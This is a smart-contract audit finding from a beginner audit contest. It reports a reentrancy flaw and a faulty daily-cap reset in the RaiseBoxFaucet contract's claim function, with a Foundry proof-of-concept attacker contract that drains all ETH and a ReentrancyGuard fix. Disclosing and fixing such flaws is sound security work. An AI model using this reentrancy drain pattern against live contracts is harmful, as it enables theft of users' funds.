Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
Submission Details
Impact: high
Likelihood: high

`RaiseBoxFaucet:claimFaucetTokens` Function - Incorrect "Record ETH Claim" Logic and Lack of Reentrancy Protection May Lead to Illegal ETH Claims

Author Revealed upon completion

RaiseBoxFaucet:claimFaucetTokens Function - Incorrect "Record ETH Claim" Logic and Lack of Reentrancy Protection May Lead to Illegal ETH Claims

Description

  • Under normal circumstances, the daily ETH claim has an upper limit. Once this limit is reached, "ETH claiming should be skipped".

  • Due to the lack of reentrancy protection in the code and the incorrect dailyDrips = 0; logic, malicious users can bypass the "maximum daily ETH claim limit" check and claim all ETH in a single transaction.

function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
@> dailyDrips = 0;
}
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// Effects
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Risk

Likelihood:

  • Malicious users can use contract accounts and deploy sufficient contracts to execute the attack.

Impact:

  • All ETH in the protocol can be claimed by malicious users in a single day, severely affecting the interests of other honest users and ultimately causing ordinary users to lose confidence in the protocol.

Proof of Concept

  • Add the following to RaiseBoxFaucet.t.sol:

contract DuplicateClaimer is Ownable{
RaiseBoxFaucet faucetContract;
uint256 attackCount = 0;
constructor(RaiseBoxFaucet faucetContract_) Ownable(msg.sender) {
faucetContract = faucetContract_;
}
function claimFaucetTokens() external onlyOwner {
faucetContract.claimFaucetTokens();
}
receive() external payable {
if (attackCount == 0) {
faucetContract.claimFaucetTokens();
attackCount++;
}
}
}
/////////////////////////////////////////////////////////////////
function test__claimFaucetTokensUsingBugGetEth() public {
// Settings: First claim gets 0.2 ETH, daily maximum is 1 ETH
RaiseBoxFaucet testRaiseBoxContract = new RaiseBoxFaucet(
"raiseboxtoken",
"RB",
1000 * 10 ** 18,
0.2 ether,
1 ether
);
// Transfer 10 ETH to the contract
vm.prank(owner);
testRaiseBoxContract.refillSepEth{value: 10 ether}(10 ether);
console.log("getContractSepEthBalance()", testRaiseBoxContract.getContractSepEthBalance());
vm.assertTrue(testRaiseBoxContract.getContractSepEthBalance() == 10 ether);
// Normal scenario: 10 ETH would take exactly 10 days to be fully claimed.
// Demonstration: Malicious contract users claim all ETH within one day using the exploit.
for (uint i=0; i < 50; i++) {
address userTmp = vm.addr(i + 100);
// userTmp deploys attacker contract
vm.prank(userTmp);
DuplicateClaimer attackContract = new DuplicateClaimer(testRaiseBoxContract);
// attackContract executes attack, using reentrancy vulnerability for 2 claim calls
vm.prank(userTmp);
attackContract.claimFaucetTokens();
}
console.log("getContractSepEthBalance()", testRaiseBoxContract.getContractSepEthBalance());
vm.assertTrue(testRaiseBoxContract.getContractSepEthBalance() == 0);
}

Recommended Mitigation

  • Remove the incorrect dailyDrips = 0; and use OpenZeppelin's ReentrancyGuard.

  • Modified code:

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// Checks
faucetClaimer = msg.sender;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
- dailyDrips = 0;
}
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// Effects
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.